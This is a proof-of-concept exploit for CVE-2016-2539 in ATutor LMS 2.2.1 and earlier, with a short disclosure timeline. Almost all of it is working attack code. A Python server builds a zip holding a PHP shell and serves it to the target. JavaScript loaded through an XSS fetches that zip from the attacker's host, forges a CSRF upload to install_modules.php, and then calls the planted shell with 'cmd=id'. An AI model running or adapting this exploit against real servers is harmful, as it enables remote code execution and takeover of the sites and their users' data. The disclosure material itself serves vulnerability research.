/* exp.js ATutor LMS <= 2.2.1 install_modules.php CSRF Remote Code Execution by mr_me Notes: `````` - Discovered for @ipn_mx students advanced php vuln/dev class - Tested on the latest FireFox 44.0.2 release build - This poc simply uploads a zip file as pwn/si.php with a "" in it - You will need to set the Access-Control-Allow-Origin header to allow the target to pull zips - Use this with your favorite XSS attack - Student proof, aka bullet proof Timeline: ````````` 23/02/2016 - notified vendor via info[at]atutor[dot]ca 24/02/2016 - requested CVE and assigned CVE-2016-2539 24/02/2016 - vendor replied stating they are investigating the issue 05/03/2016 - vendor patches the issue (https://github.com/atutor/ATutor/commit/bfc6c80c6c217c5515172f3cc949e13dfa1a92ac) 06/03/2016 - coordinated public release Example: ```````` mr_me@jupiter:~$ cat poc.py #!/usr/bin/python import sys import zipfile import BaseHTTPServer from cStringIO import StringIO from SimpleHTTPServer import SimpleHTTPRequestHandler if len(sys.argv) < 3: print "Usage: %s " % sys.argv[0] print "eg: %s 8000 172.16.69.128" % sys.argv[0] sys.exit(1) def _build_zip(): """ builds the zip file """ f = StringIO() z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED) z.writestr('pwn/si.php', "") z.close() handle = open('pwn.zip','wb') handle.write(f.getvalue()) handle.close class CORSRequestHandler (SimpleHTTPRequestHandler): def end_headers (self): self.send_header('Access-Control-Allow-Origin', 'http://%s' % sys.argv[2]) SimpleHTTPRequestHandler.end_headers(self) if __name__ == '__main__': _build_zip() BaseHTTPServer.test(CORSRequestHandler, BaseHTTPServer.HTTPServer) mr_me@jupiter:~$ ./poc.py 8000 172.16.69.128 Serving HTTP on 0.0.0.0 port 8000 ... 172.16.69.1 - - [23/Feb/2016 14:04:07] "GET /exp.js HTTP/1.1" 200 - 172.16.69.1 - - [23/Feb/2016 14:04:07] "GET /pwn.zip HTTP/1.1" 200 - ~ de Mexico con amor, */ var get_hostname = function(href) { var l = document.createElement("a"); l.href = href; return l.hostname + ":" + l.port; }; function trolololol(url, file_data, filename) { var file_size = file_data.length, boundary = "828116593165207937691721278", xhr = new XMLHttpRequest(); // latest ff doesnt have sendAsBinary(), so we redefine it if(!xhr.sendAsBinary){ xhr.sendAsBinary = function(datastr) { function byteValue(x) { return x.charCodeAt(0) & 0xff; } var ords = Array.prototype.map.call(datastr, byteValue); var ui8a = new Uint8Array(ords); this.send(ui8a.buffer); } } // the callback after this stage is done... xhr.onreadystatechange = function() { if (xhr.readyState == XMLHttpRequest.DONE) { xhr = new XMLHttpRequest(); // change this if you change the zip xhr.open("GET", "/ATutor/mods/pwn/si.php?cmd=id", true); xhr.send(); } } xhr.open("POST", url, true); // simulate a file MIME POST request. xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary); xhr.setRequestHeader("Content-Length", file_size); var body = "--" + boundary + "\r\n"; body += 'Content-Disposition: form-data; name="modulefile"; filename="' + filename + '"\r\n'; body += "Content-Type: archive/zip\r\n\r\n"; body += file_data + "\r\n"; body += "--" + boundary + "\r\n"; body += 'Content-Disposition: form-data; name="install_upload"\r\n\r\n'; body += "junk\r\n"; body += "--" + boundary; xhr.sendAsBinary(body); return true; } function pwn(){ var xhr = new XMLHttpRequest(); // et phone home var home = get_hostname(document.scripts[0].src); // get our own zip file xhr.open('GET', 'http://' + home + '/pwn.zip', true); xhr.responseType = 'blob'; xhr.onload = function(e) { if (this.status == 200) { // use the FileReader class to get the raw binary var reader = new window.FileReader(); reader.readAsBinaryString(new Blob([this.response], {type: 'application/zip'})); reader.onloadend = function() { trolololol("/ATutor/mods/_core/modules/install_modules.php", reader.result, "pwn.zip"); } } }; xhr.send(); } pwn();